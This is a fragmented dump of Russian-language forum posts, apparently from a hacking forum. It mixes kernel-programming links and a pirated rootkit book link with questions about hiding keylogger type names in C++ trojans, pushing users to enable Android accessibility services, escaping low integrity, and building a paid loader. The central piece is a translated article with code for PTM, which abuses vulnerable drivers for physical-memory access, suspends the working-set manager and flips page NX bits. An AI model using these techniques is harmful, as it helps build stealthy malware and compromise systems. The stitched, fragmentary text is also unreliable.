Ну и почитать переводы можно в гите:https://github.com/XShar/Windows_Kernel_Programming/find/master
Либо вот тут темы:
Spoiler: Ссылки на темы глав
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
](https://ru-sfera.org/threads/windows-kernel-programming-glava-1-osnovnye- momenty-i-arxitektura-jadra.3943/)
В этом репозитории будут размещаться мой "обзорный пересказ/перевод" книги Windows Kernel Programming (leanpub.com/windowskernelprogramming), от Павла Иосивича. Оригинал книги можно купить по ссылке выше. Далее что здесь будет выкладываться и зачем: Хочу отметит, что содержимое может...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
разработчика ядра ](https://ru-sfera.org/threads/windows-kernel-programming- glava-2-nachalo-raboty-s-instrumentami-razrabotchika-jadra.3945/)
Это вторая часть, с первой частью можно ознакомиться здесь:Windows Kernel Programming:Глава 1.Основные моменты и архитектура ядра В этой главе рассматриваются основы, которые необходимы для разработки драйверов. Вы установите необходимые инструменты и напишете первый драйвер, который можно...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
](https://ru-sfera.org/threads/windows-kernel-programming-glava-3-osnovy- programmirovanija-jadra-windows.3949/)
Предыдущие версии глав: https://ru-sfera.org/threads/windows-kernel- programming-glava-1-osnovnye-momenty-i-arxitektura-jadra.3943/ https://ru- sfera.org/threads/windows-kernel-programming-glava-2-nachalo-raboty-s- instrumentami-razrabotchika-jadra.3945/ В этой главе мы углубимся в API, структуры и...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
пользовательского режима ](https://ru-sfera.org/threads/windows-kernel- programming-glava-4-drajver-i-vzaimodejstvie-s-nim-iz-polzovatelskogo- rezhima.3953/)
В этой главе мы будем использовать многие концепции, которые мы изучили в предыдущих главах, и создадим простой драйвер. Также в этой главе создадим клиент, для взаимодействия с нашим драйвером. Мы установим драйвер и выполним в режиме ядра некоторую операцию, недоступную пользовательский...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
sfera.org/threads/windows-kernel-programming-glava-5-izuchenie- otladchikov.3983/)
Как и в любом программном обеспечении, драйверы ядра обычно имеют ошибки. Отладка драйверов, в отличие от пользовательского режима, более сложный процесс. Отладка драйвера по сути отладка всей системы, не просто конкретного процесса или процессов. Это требует другого мышления. В этой главе будет...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
sfera.org/threads/windows-kernel-programming-glava-6-mexanizmy-jadra.4109/)
В этой главе обсуждаются различные механизмы, предоставляемые ядром Windows. Некоторые из них полезны для написания драйверов. Другие - это механизмы, которые разработчик драйвера должен понимать, так – как это помогает делать отладку и дает общие понимание устройства системы. В этой главе: •...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
](https://ru-sfera.org/threads/windows-kernel-programming-glava-7-paket- zaprosa-vvoda-vyvoda.4140/)
После того, как типичный драйвер завершает свою инициализацию в DriverEntry, его основная задача — обрабатывать запросы. Эти запросы упакованы в виде полудокументированной структуры пакета запроса ввода-вывода (IRP). В этой главе мы более подробно рассмотрим пакеты IRP и то, как драйвер...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
](https://ru-sfera.org/threads/windows-kernel-programming-glava-8-processy-i- potoki-uvedomlenija.4143/)
Один из мощных механизмов, доступных для драйверов ядра - это возможность получать уведомления, когда происходят важные события. В этой главе мы рассмотрим некоторые из этих событий, а именно создание процесса. А также создание и разрушение потоков и загрузка образов. В этой главе: •...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
](https://ru-sfera.org/threads/windows-kernel-programming- glava-9-uvedomlenija-obektov-i-reestra.4146/)
Ядро предоставляет больше способов перехвата определенных операций/событий. Сначала мы рассмотрим объект уведомления, где может быть перехвачено и получение дескрипторов некоторых типов объектов. Далее мы рассмотрим перехват операций реестра. В этой главе: - Уведомления об объектах. - Драйвер...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
мини-фильтры. ](https://ru-sfera.org/threads/windows-kernel-programming- glava-10-vvedenie-v-fajlovuju-sistemu-i-mini-filtry.4150/)
Файловые системы предоставвляют операции ввода-вывода для доступа к файлам. Windows поддерживает несколько файловых систем, прежде всего это NTFS. Фильтрация файловой системы - это механизм, с помощью которого драйверы могут перехватывать вызовы, адресованные файловой системе. Это полезно для...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)
разработке драйверов ](https://ru-sfera.org/threads/windows-kernel- programming-glava-11-obsuzhdenie-razlichnyx-voprosov-po-razrabotke- drajverov.4151/)
В этой последней главе книги мы рассмотрим различные темы, которые не соответствовали предыдущем главам. В этой главе: • Подпись драйвера. • Средство проверки и отладки драйверов. • Использование нативных API. • Драйверы фильтров. • Монитор устройства. • Подключение драйвера. • Библиотеки...
![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org
System - 2nd Rev Ed (2012).pdf - AnonFiles ](https://anonfiles.com/xcV806z6pb/The_Rootkit_Arsenal_- Escape_and_Evasion_in_the_Dark_Corners_of_the_System-_2nd_Rev_Ed_2012_pdf)
anonfiles.com
Book about how low-level malwares and incident response teams work.
Po4emu ne mogu udalit file w konze? CloseHandle tam.
Code:Copy to clipboard
WCHAR wszFile[] = L"bla.exe";
HANDLE hFile=CreateFileW(wszFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return false;
}
DWORD dwFileSize=GetFileSize(hFile,NULL);
if (!dwFileSize)
{
return false;
}
HANDLE hMapping=CreateFileMappingW(hFile,NULL,PAGE_READONLY,0,0,NULL);
if (!hMapping)
{
return false;
}
LPBYTE lpMap=(LPBYTE)MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0);
if (!lpMap)
{
return false;
}
CloseHandle(hFile);
CloseHandle(hMapping);
DeleteFileW(wszFile);
Может кто подскажет как лучше
Вообщем сервис это нужный, но сама процедура предоставления доступа это квест
для юзера. А если учесть что на разных версиях меню чуть другое, то и общую
инструкцию не напишешь.
Посему вопрос можно как то открыть фрагмент с уже загруженым сервисом, что бы
юзеру осталось только дернуть свитчер ?
Intent intent = new
Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivityForResult(intent, 0);
Так мы открываем общую страницу, но там еще до включения добраться надо.
Поэтому как это дело упростить юзеру ?
Можно в п.м.
Здравствуйте!
Как пишут трояны на С++ с использованием полиморфизма, typeid?
Если не выключить RTTI в настройках компилятора, имя каждого полиморфного
класса будет палится в строках билда.
В бинарнике будут сохраняться строки по типу таких:
.P6A?AV?$shared_ptr@VKeyloggerStructure@d@@@std@@G@Z
Без RTTI нельзя будет использовать dynamic_cast или typeid для
родительского полиморфного класса, но да кому это нужно? Отключил.
Но. В С++ есть много крутых фич, например, std::function , который я
достаточно часто использую.
Но, как оказалось, std::function использует typeid для сохранения типа
функции и проверки его в методе target , и делает это статически, при
создании объекта, что значит что отключение RTTI (run-time type
identification) не запретит использование typeid, так как выполняется
компилятором статически, а значит имена типов аргументов функции попадут в
строки бинарника файла. Например:
C++:Copy to clipboard
struct MalwareKeyloggerStructure {
// ...
};
std::function<void(MalwareKeyloggerStructure*)> f;
В этом случае в бинарнике можно будет найти закодированный(name mangling) тип
функции и саму строку MalwareKeyloggerStructure.
Как это можно отключить?
Полностью отключать typeid конечно не хотелось бы, но я бы хотел отключить
именно генерирование имен типов. И это возможно.
Так как для сравнения типов достаточно хэша типа, который тоже есть в
структуре std:: type_info.
В идеале, я хочу отключить именно генерацию имен типов и сохранение их в
бинарнике, оставляя генерацию хэшей типов и возможность использовать typeid
статически, а может и в рантайме (RTTI).
Если так сделать не выйдет - то, хотя бы, какие нибудь костыльные, но рабочие
прособы решения проблемы.
Знатоки С++, надеюсь на вашу помощь!
Заранее спасибо!
PTM - это библиотека C++ для Windows 10, которая позволяет программисту управлять всей памятью, физической и виртуальной, из пользовательского режима. Проект наследует интерфейс от VDM, позволяющий использовать примитив чтения- записи физической памяти для поддержки этого проекта. VDM используется исключительно для настройки таблиц страниц таким образом, чтобы PTM мог управлять ими из пользовательского режима. После того, как таблицы страниц настроены для PTM, VDM больше не требуется. Однако VDM может наследовать экземпляр PTM как средство чтения и записи физической памяти. И VDM, и PTM очень хорошо работают вместе и независимо друг от друга.
Введение
Управление таблицей страниц - чрезвычайно мощный примитив. Тот, который позволяет создавать новаторские проекты, такие как патч ядра только в определенных контекстах процесса или отображение адресного пространства исходного процесса в адресное пространство целевого процесса. PTM - это библиотека пользовательского режима, которая позволяет программисту управлять таблицами страниц из пользовательского режима в 64-битных системах Windows 10. PTM делает это с помощью VDM; проект, предназначенный для злоупотребления уязвимыми драйверами, выставляя примитив чтения-записи физической памяти (RWP) для повышения до произвольного выполнения ядра. VDM используется для настройки таблиц страниц таким образом, чтобы ими можно было управлять из пользовательского режима без необходимости загрузки уязвимого драйвера VDM в ядро после инициализации. Затем PTM можно использовать для получения и установки всех уровней записей таблицы страниц, преобразования линейных виртуальных адресов из пользовательского режима, отображения физической памяти в виртуальную память и даже создания новых таблиц страниц. PTM также может использоваться как средство для прямого чтения и записи в физическую память, поэтому его можно использовать с VDM для использования произвольного выполнения ядра без необходимости загрузки уязвимого драйвера VDM в ядро.
Основы виртуальной памяти и подкачки
Пейджинг - это концепция разбиения памяти на блоки фиксированного размера, называемые страницами. Страницы можно перемещать в физическую память и из нее, что позволяет перемещать на диск память, к которой нечасто обращаются. Чтобы это работало, ЦП не может напрямую взаимодействовать с физической памятью, вместо этого ЦП взаимодействует с виртуальной памятью. Виртуальные адреса преобразуются в физические адреса с помощью набора таблиц, называемых таблицами страниц. В 64-битной системе с процессором в длинном режиме существует четыре уровня таблиц страниц: PML4(s), PDPT(s), PD(s) и, наконец, PT(s). Все таблицы страниц имеют одинаковый размер (1000h байт), если не указано иное. Каждая запись таблицы страниц имеет размер восемь байтов. Это означает, что каждая таблица содержит 512 записей (8 * 512 = 1000h). Последние двенадцать бит каждого виртуального адреса называются смещением страницы и представляют собой смещение на физической странице. Смещение страницы виртуального адреса может быть больше 12 бит в зависимости от конфигурации структуры подкачки для данного виртуального адреса. Длина поля смещения страницы может составлять 12 бит (физическая страница 4 КБ), 21 бит (физическая страница 2 МБ) или 30 бит (страница 1 ГБ).
Чтобы преобразовать линейные виртуальные адреса в линейные физические адреса, необходимо пройти по таблицам страниц. Как показано на рисунке 1, каждое виртуальное адресное пространство имеет свой собственный PML4, физический адрес этой таблицы хранится в CR3.
Взаимодействие с таблицами страниц в Windows
В Windows планировщик потоков использует KPROCESS.DirectoryTableBase при планировании потоков. Структура KPROCESS является подструктурой структуры EPROCESS и содержит DirectoryTableBase по смещению 28h. Программист, использующий VDM, может легко получить линейный физический адрес PML4 процесса, задав DKOM структуру KPROCESS желаемого процесса.
kd> dt !_KPROCESS ffffc38759d9e080
nt!_KPROCESS
+0x000 Header : _DISPATCHER_HEADER
+0x018 ProfileListHead : _LIST_ENTRY
+0x028 DirectoryTableBase : 0x00000001`15684000
+0x030 ThreadListHead : _LIST_ENTRY
+0x040 ProcessLock : 0
+0x044 ProcessTimerDelay : 0
+0x048 DeepFreezeStartTime : 0Click to expand...
Как только физический адрес желаемых процессов PML4 получен, уловка заключается в взаимодействии со структурами поискового вызова. Хотя VDM позволяет читать и писать в физическую память, имейте в виду, что MmMapIoSpace не может использоваться для отображения структур подкачки в виртуальную память. Однако драйверы, использующие MmCopyMemory и ZwMapViewOfSection для взаимодействия с физической памятью, могут использоваться для непосредственного управления таблицами страниц. Для правильной поддержки VDM, которую PTM наследует как кодовую базу, проект не полагается на физические примитивы чтения и записи, предоставляемые драйвером. Вместо этого PTM выделяет свой собственный набор таблиц страниц и вставляет PML4E в текущие процессы PML4, указывая на такие таблицы. Это позволяет программисту по желанию отображать физическую память в текущее адресное пространство виртуальной памяти в пользовательском режиме. Другими словами, как только таблицы распределены и настроены, необходимость в VDM отпадает, поскольку таблицами подкачки можно полностью управлять из пользовательского режима.
Что такое TLB
Буфер трансляции - это аппаратный кэш, который помогает преобразовывать линейные виртуальные адреса в линейные физические адреса. TLB кэширует преобразования виртуальных адресов в физические, а также другую информацию, такую как права доступа к страницам и информацию о типе кеша. Хотя TLB чрезвычайно важен для эффективности, он сделал PTM интересной задачей. Например, когда физическая память отображается в виртуальное адресное пространство, записи таблицы страниц будут вставлены или изменены. Эта вставка или изменение существующей записи таблицы страниц может относиться к кэшированной записи в TLB. Это означает, что эффекты, применяемые к записи таблицы страниц, не будут видны до тех пор, пока запись TLB для данной виртуальной страницы не будет признана недействительной, вместе с изменениями, записанными в основную память. Чтобы противодействовать этому, в ЦП есть инструкция, которая позволяет программисту аннулировать запись таблицы страниц в кэше TLB. Эта инструкция называется INVLPG и является привилегированной инструкцией. Это не то, что может использовать PTM, поскольку библиотека предназначена для работы полностью в пользовательском режиме. Непосредственная аннулирование TLB - не единственный способ сделать записи недействительными. Если возникает ошибка страницы, TLB аннулирует записи для данного адреса, который вызвал ошибку (адрес в CR2). Это эффективный метод аннулирования желаемых виртуальных адресов из пользовательского режима, но он очень медленный. Переключение контекста по своей сути не вызывает сброс TLB, скорее, PCID изменяется на другой PCID. Это позволяет TLB сохранять записи из нескольких адресных пространств и улучшать производительность. Однако выполнение может сделать записи TLB недействительными, потому что планировщик перепрограммирует логический процессор для выполнения в другом месте в течение некоторого времени, возможно, заполняя TLB другими записями и удаляя те, которые ранее были кэшированы.
TLB - Outrun
Хотя TLB представляет собой эффективный аппаратный кеш, он не может кэшировать линейные виртуальные адреса, к которым ранее не было доступа, этот простой факт означает, что программист может создавать новый линейный виртуальный адрес каждый раз, когда ему нужно отобразить новую физическую страницу в виртуальная память. Однако это не надежное решение, которое надежно работает на всех современных процессорах. По мере того, как отрасль продвигает технологию виртуализации, расширение TLB продолжается. Таким образом, единственное создание нового линейного виртуального адреса каждый раз, когда вы хотите взаимодействовать с физической страницей, не является разумным решением и уже нестабильно на большинстве современных чипов AMD. Вместо этого идеально сочетать эту технику с другими техниками.
C++:Copy to clipboard
auto ptm_ctx::map_page(void* addr) -> void*
{
++pte_index;
if (pte_index > 511)
{
++pde_index;
pte_index = 0;
}
if (pde_index > 511)
{
++pdpte_index;
pde_index = 0;
}
if (pdpte_index > 511)
pdpte_index = 0;
// insert paging table entries down here…
//... (refer to PTM repo to see that code)...
// returns the newly generated virtual address...
return get_virtual_address();
}
Приведенный выше код генерирует новый линейный виртуальный адрес, к которому раньше не обращались. Этот линейный виртуальный адрес указывает на физическую страницу запросов в памяти. Это позволяет программисту обходить TLB, обращаясь к новым линейным виртуальным адресам, вместо того, чтобы пытаться аннулировать запись TLB существующей и уже кэшированной страницы. Однако это имеет ограничения, поскольку код предоставляет только 512^3 различных возможных виртуальных страниц.
TLB - Преимущество сомнения
Хотя опережение TLB является самым быстрым решением для отображения физической памяти в виртуальную память без необходимости отменять какие-либо записи TLB, это не самое стабильное решение на современном оборудовании. Вместо этого предпочтительнее сочетание генерации нового виртуального адреса и цикла SEH try/except. Предоставляя новому виртуальному адресу benefit of the doubt в том, что он еще не был кэширован, выполняется попытка доступа к вновь созданной странице. Если доступ успешен, новый линейный виртуальный адрес возвращается вызывающей стороне ptm::ptm_ctx::map_page. Однако, если доступ вызывает сбой страницы, TLB аннулирует записи, связанные с этим вновь созданным линейным виртуальным адресом. Затем блок except пытается получить доступ к новой странице в цикле, обеспечивая выполнение при каждой неудаче доступа к новому виртуальному адресу. Этот метод обеспечивает наиболее эффективное решение для работы с TLB из пользовательского режима. Этот метод гарантирует, что сгенерированный линейный виртуальный адрес доступен перед его возвратом вызывающей стороне.
C++:Copy to clipboard
auto ptm_ctx::get_virtual_address() const -> void*
{
//...
// start off by making sure that
// the address is accessible...
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
// if its not accessible then the
// TLB just invalidated its entry...
__except (EXCEPTION_EXECUTE_HANDLER)
{
// loop until this new address is accessible…
// do not return until this new virtual
// address is accessible....
while (true)
{
// try again to access the page again
// and it should return...
__try
{
*(std::uint8_t*)new_addr.value =
*(std::uint8_t*)new_addr.value;
return new_addr.value;
}
// if its still not accessible, then we are
// going to let the core get
// rescheduled for a little...
__except (EXCEPTION_EXECUTE_HANDLER)
{
while (!SwitchToThread())
continue;
}
}
}
return new_addr.value;
}
Этот код выше выполняется каждый раз, когда новая страница отображается в виртуальную память через PTM. Это гарантирует, что новый созданный виртуальный адрес доступен перед возвратом нового виртуального адреса.
Осложнения с пейджингом
Хотя PTM управляет своим собственным набором таблиц подкачки из пользовательского режима, физический адрес этих виртуальных таблиц страниц может изменяться. Таблицы страниц, выделенные VirtualAlloc, могут сами быть выгружены на диск, если к ним не часто обращаются. Когда они возвращаются обратно при повторном доступе, весьма вероятно, что они будут размещены на новой физической странице. Диспетчер рабочего набора играет большую роль в подкачке памяти на диск. Этот поток повторяется бесконечно и создается при запуске операционной системы. Этот поток диспетчера рабочего набора оказался весьма утомительным, поэтому он приостановлен PTM.
C++:Copy to clipboard
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx) -> PETHREAD
{
ULONG return_len = 0u;
std::size_t alloc_size = 0x1000u;
auto process_info =
reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
malloc(alloc_size));
while (NtQuerySystemInformation
(
SystemProcessInformation,
process_info,
alloc_size,
&return_len
) == STATUS_INFO_LENGTH_MISMATCH)
process_info =
reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
realloc(process_info, alloc_size += 0x1000));
const auto og_ptr = process_info;
while (process_info &&
process_info->UniqueProcessId != (HANDLE)4)
process_info =
reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
reinterpret_cast<std::uintptr_t>(process_info)
+ process_info->NextEntryOffset);
auto thread_info =
reinterpret_cast<SYSTEM_THREAD_INFORMATION*>(
reinterpret_cast<std::uintptr_t>(process_info)
+ sizeof SYSTEM_PROCESS_INFORMATION);
static const auto ntoskrnl_base =
util::get_kmodule_base("ntoskrnl.exe");
const auto [ke_balance_um, ke_balance_rva] =
util::memory::sig_scan(
KE_BALANCE_SIG, KE_BALANCE_MASK);
auto rip_rva =
*reinterpret_cast<std::uint32_t*>(ke_balance_um + 19);
const auto ke_balance_set =
ntoskrnl_base + ke_balance_rva + 23 + rip_rva;
const auto [suspend_in_um, suspend_rva] =
util::memory::sig_scan(
SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
rip_rva =
*reinterpret_cast<std::uint32_t*>(
suspend_in_um + 1);
const auto ps_suspend_thread =
reinterpret_cast<void*>(
ntoskrnl_base + rip_rva + 5 + suspend_rva);
static const auto lookup_pethread =
util::get_kmodule_export(
"ntoskrnl.exe", "PsLookupThreadByThreadId");
for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
{
if (thread_info[idx].StartAddress ==
reinterpret_cast<void*>(ke_balance_set))
{
PETHREAD pethread;
auto result = v_ctx.syscall<PsLookupThreadByThreadId>(
lookup_pethread, thread_info[idx]
.ClientId.UniqueThread, &pethread);
free(og_ptr);
return pethread;
}
}
free(og_ptr);
return {};
}
Код, определенный выше, получит PETHREAD диспетчера рабочего набора с помощью VDM и вернет его вызывающей стороне. Затем вызывающий код может использовать VDM для системного вызова PsSuspendThread, чтобы приостановить поток диспетчера рабочих наборов.
C++:Copy to clipboard
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
{
static const auto ntoskrnl_base =
util::get_kmodule_base("ntoskrnl.exe");
const auto [suspend_in_um, suspend_rva] =
util::memory::sig_scan(
SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
const auto rip_rva =
*reinterpret_cast<std::uint32_t*>(
suspend_in_um + 1);
const auto ps_suspend_thread =
reinterpret_cast<void*>(
ntoskrnl_base + rip_rva + 5 + suspend_rva);
return v_ctx.syscall<PsSuspendThread>(
ps_suspend_thread, pethread, nullptr);
}
Использование PTM и примеры
PTM - очень обширная библиотека, которая предлагает все стандартные операции с таблицами подкачки, такие как вставка записей и получение записей. PTM имеет предопределенные процедуры для получения и установки всех записей таблицы подкачки на всех уровнях таблицы подкачки. PTM может преобразовывать линейные виртуальные адреса двумя предопределенными способами. Один способ использует отображения гиперпространства и может использоваться только для преобразования линейных виртуальных адресов текущего адресного пространства. Другая подпрограмма вручную отображает таблицы страниц в текущее адресное пространство и вручную просматривает таблицы страниц.
Создание объекта PTM
Чтобы создать объект PTM, вы должны сначала создать объект VDM. Это легко сделать, все, что требуется, - это две лямбда-выражения, которые предоставляют метод для чтения и записи физической памяти соответственно. После создания объекта VDM вам понадобится PID процесса, из которого вы хотите сделать объект PTM. Просто укажите объект VDM по ссылке и PID процесса.
C++:Copy to clipboard
// describe the method of reading/writing physical memory.
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);
Если вы работаете с текущим контекстом памяти процессов, вам не нужно указывать PID.
Получение заголовков PDE ntoskrnl.exe
Как описано в приведенном ниже коде, ptm::ptm_ctx::get_pde получает PDE данного виртуального адреса. Эта процедура работает со всеми виртуальными адресами как в пользовательском режиме, так и в адресах ядра.
C++:Copy to clipboard
// describe the method of reading/writing physical memory.
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);
const auto ntoskrnl_base =
reinterpret_cast<void*>(
util::get_kmodule_base("ntoskrnl.exe"));
const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
Переворот NX бита
В этом примере первая страница основного модуля в текущем процессе становится исполняемой без вызова каких-либо функций Windows API, таких как VirtualProtect(Ex). Это не изменит значения VAD, поэтому, если бы вы открыли NtQueryVirtualMemory на этой странице, это было бы PAGE_READONLY, но если бы ЦП попытался получить инструкции с этой страницы, он бы это сделал успешно.
C++:Copy to clipboard
// describe the method of reading/writing physical memory.
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);
const auto baseaddr_pte =
my_proc.get_pte(GetModuleHandleA(NULL));
baseaddr_pte.nx = false;
my_proc.set_pte(GetModuleHandleA(NULL), baseaddr_ptr);
Заключение
В заключение, PTM - это еще одна высокомодульная библиотека, которая позволяет программисту управлять всей памятью, виртуальной и физической, из пользовательского режима. PTM используется во всех других моих недавних проектах, таких как reverse-injector, PSKP, PSKDM и kmem. Хотя этот проект идеально подходит для работы с таблицей страниц, у него есть свои недостатки. Как описано в разделе 6, таблицы страниц VirtualAlloc могут быть выгружены на диск, и, таким образом, при подкачке обратно в физическую память они, скорее всего, будут размещены на новой физической странице. Однако это оказалось незначительной проблемой после приостановки потока диспетчера рабочего набора, который отвечает за подкачку виртуальной памяти на диск.
Источник: https://back.engineering/01/12/2020/
Автор перевода: yashechka
Переведено специально для https://xss.is
Доброго времени суток! Можно ли создать файл не на физическом носители а развернуть его в ОЗУ? Записать данные , и , например, отослать на сервер ? Не прошу готового решения, прошу подсказать в какую сторону копать. Спасибо!
Как правильно провести brute-force атаку и какой софт лучше использовать?
Всех приветствую, так и не нашёл нормального решения,парни подскажите как написать функцию использую WinInet другое не подходит мне, консольное приложение. Что бы подкл к ftp и скачивал всё что есть в папке на диск,и каждый час проверял обновления файлов на ftp если есть, то заменял или докачивал. Кто знает могу даже монетой накинуть вот моя телега если,что @ Firewoll , я просто ток начинаю учить c++, очень бы помогли
Всем привет вот ищу архиватор файлов в zip архив. Знаете какие нибудь не большие реализации - скиньте пожалуйста
Я пробовал - URLDownloadToFileA, но он синхронно грузит. Или подкиньте идеи по загрузке URLDownloadToFileA функции асинхронно
Пытаюсь выйти из lowil путем runas консоли cmd с передчаей пути до запуска проги.
ShellExecute(NULL, "runas", "cmd", "start notepad", 0, SW_SHOWNORMAL);
Для теста сделал так, но почему-то start notepad не работает как аругмент, ошибки не выдает, в чем трабл?
Привет,
Кто подскажет как сделать?
Желательно с рабочим примером кода.
Hello,
I have developed a loader (with panel) in C ++, CodeBlocks.
Im using Curl library for Post Requests, the problem its when I execute it in
other pc, the exe request many dll like "libcurl.dll",
if anyone could help me to link curl library as static I can pay him.
Thanks.
Всем привет,возникла потребность запустить асинхронно в 2 потоках функцию,использовал std:async/future,но все это добавляет аж 100 кб при сборке проекта(собираю /MD).Мне не принципиально смотреть ретерны функции,никаких математических исчислений там нету,также мне не нравится конечный вес.Знает кто решение данной дилеммы?
Всем привет, пишу что-то на подобии архиватора, в поисках миниатюрной либы для
сжатия. Думаю использовать zlib, с 240 до 12 кб ужимает, но немного отпугивает
вес (более 50 кб).
Какую либу вы можете порекомендовать?
